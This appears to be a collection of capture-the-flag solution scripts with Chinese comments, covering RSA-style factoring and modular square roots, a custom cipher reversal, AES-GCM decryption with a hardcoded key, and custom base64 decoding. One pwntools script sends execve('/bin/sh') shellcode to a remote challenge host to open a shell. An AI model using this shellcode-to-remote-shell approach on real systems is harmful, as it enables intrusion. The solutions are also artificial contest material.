from sympy import symbols, solve

# 定义变量
x = symbols('x')

# 多项式系数
coeff_2 = 15264966144147258587171776703005926730518438603688487721465
coeff_1 = 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923
N = 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619

# 定义多项式
polynomial = x**3 - coeff_2*x**2 + coeff_1*x - N

# 求解多项式的整数根
roots = solve(polynomial, x)
print("N的素因子 n0, n1, n2:", roots)
print(roots[0]*roots[1]*roots[2]==125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619)

from Crypto.Util.number import long_to_bytes
from sympy.ntheory.modular import solve_congruence
import itertools

# 已知密文 c
c = 24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944

# N 的三个素因子
n0 = 3868765709106144154703556118635822400623994075212553582411
n1 = 5487564316951417093934647798659941512646442958127439071827
n2 = 5908636118089697338533572785710162817248001570348495067227

# 计算平方根 (适用于 p ≡ 3 mod 4)
def sqrt_mod(c, p):
    r = pow(c, (p + 1) // 4, p)
    return (r, p - r)  # 返回两个解

# 计算所有可能的 flag mod ni
roots_n0 = sqrt_mod(c, n0)
roots_n1 = sqrt_mod(c, n1)
roots_n2 = sqrt_mod(c, n2)

# 遍历所有可能的组合
for r0, r1, r2 in itertools.product(roots_n0, roots_n1, roots_n2):
    flag, _ = solve_congruence((r0, n0), (r1, n1), (r2, n2))
    flag_bytes = long_to_bytes(flag)

    if b'{' in flag_bytes.lower():  # 判断是否包含 'flag' 关键字
        print("找到正确 flag:", flag_bytes.decode())
        break

from pwn import *

r = remote("node.vnteam.cn",44184)

shellcode = "\x48\x83\xc7\x0e\xb0\x3b\x0f\x05\x2f\x62\x69\x6e\x2f\x73\x68\x00"

print(len(shellcode))
payload = shellcode

r.sendlineafter(b"strength ",payload)

r.interactive()

def decrypt(encrypted_str):
    recovered_chars = []
    for i, ch in enumerate(encrypted_str):
        E = ord(ch)
        if E < 103:
            orig = E - (i % 4) + ord('1')
        else:
            orig = E - ord('7') - (i % 10)
        recovered_chars.append(chr(orig))

    def code(a, index):
        if index >= len(a) - 1:
            return
        a[index], a[index+1] = a[index+1], a[index]
        code(a, index + 2)

    char_list = list("".join(recovered_chars))
    code(char_list, 0)
    hex_str = "".join(char_list)

    enc = bytes.fromhex(hex_str)

    origin = bytes((b - 68) % 256 for b in enc)

    originstr = origin.decode('utf-8')

    return originstr


encrypted = "0qksrtuw0x74r2n3s2x3ooi4ps54r173k2os12r32pmqnu73r1h432n301twnq43prruo2h5"
decrypted = decrypt(encrypted)
print(decrypted)

from Crypto.Cipher import AES
import base64

def decrypt(ciphertext_base64, key, aad):
    # 解码 Base64 编码的密文
    ciphertext = base64.b64decode(ciphertext_base64)
    # 假设 IV 长度为 12 字节，GCM 标签长度为 16 字节
    iv = ciphertext[:6]
    tag = ciphertext[-16:]
    encrypted_data = ciphertext[6:-16]

    # 创建 AES/GCM 解密器
    cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
    # 设置额外认证数据
    cipher.update(aad)

    try:
        # 解密数据并验证标签
        decrypted_data = cipher.decrypt_and_verify(encrypted_data, tag)
        return decrypted_data.decode('utf-8')
    except ValueError:
        print("认证标签验证失败，数据可能被篡改。")
        return None


if __name__ == "__main__":
    # 密钥，长度必须为 16、24 或 32 字节（对应 AES-128、AES-192 或 AES-256）
    key = b'atrikeyssyekirta'
    # 假设这是 Base64 编码的加密数据
    ciphertext_base64 = 'MTE0NTE0HMuJKLOW1BqCAi2MxpHYjGjpPq82XXQ/jgx5WYrZ2MV53a9xjQVbRaVdRiXFrSn6EcQPzA=='
    # 额外认证数据
    aad = b'mysecretadd'

    decrypted_text = decrypt(ciphertext_base64, key, aad)
    if decrypted_text:
        print("解密结果:", decrypted_text)

def decode_custom_base64(encoded):
    base64_chars = "TUVWXYZabcdefghijABCDEF456789GHIJKLMNOPQRSklmnopqrstuvwxyz0123+/"
    base64_table = {char: idx for idx, char in enumerate(base64_chars)}

    # 计算填充数量并去除填充符
    pad_count = encoded.count('=')
    encoded_clean = encoded.rstrip('=')

    # 计算原始数据长度
    n = len(encoded_clean)
    if pad_count == 0:
        original_len = (n * 3) // 4
    elif pad_count == 1:
        original_len = (n * 3 + 2) // 4
    elif pad_count == 2:
        original_len = (n * 3 + 1) // 4
    else:
        original_len = (n * 3) // 4

    # 转换为索引列表
    indices = []
    for c in encoded_clean:
        if c in base64_table:
            indices.append(base64_table[c])
        else:
            indices.append(0)  # 处理无效字符，假设为0

    decoded = bytearray()
    for i in range(0, len(indices), 4):
        chunk = indices[i:i+4]
        while len(chunk) < 4:
            chunk.append(0)  # 不足四部分补0

        c1, c2, c3, c4 = chunk

        # 解码第一个字节
        a = (c1 << 2) | (c2 & 0x03)
        decoded.append(a)

        # 解码第二个字节
        b_high = (c2 & 0x3C) >> 2
        b_low = c3 & 0x0F
        b = (b_high << 4) | b_low
        decoded.append(b)

        # 解码第三个字节
        c_high = (c3 >> 4) & 0x03
        c = (c_high << 6) | c4
        decoded.append(c)

    # 根据原始长度截断结果
    return bytes(decoded[:original_len])

# 示例用法
encoded_str = "56BM"  # 编码后的字符串
decoded_data = decode_custom_base64(encoded_str)
print(decoded_data)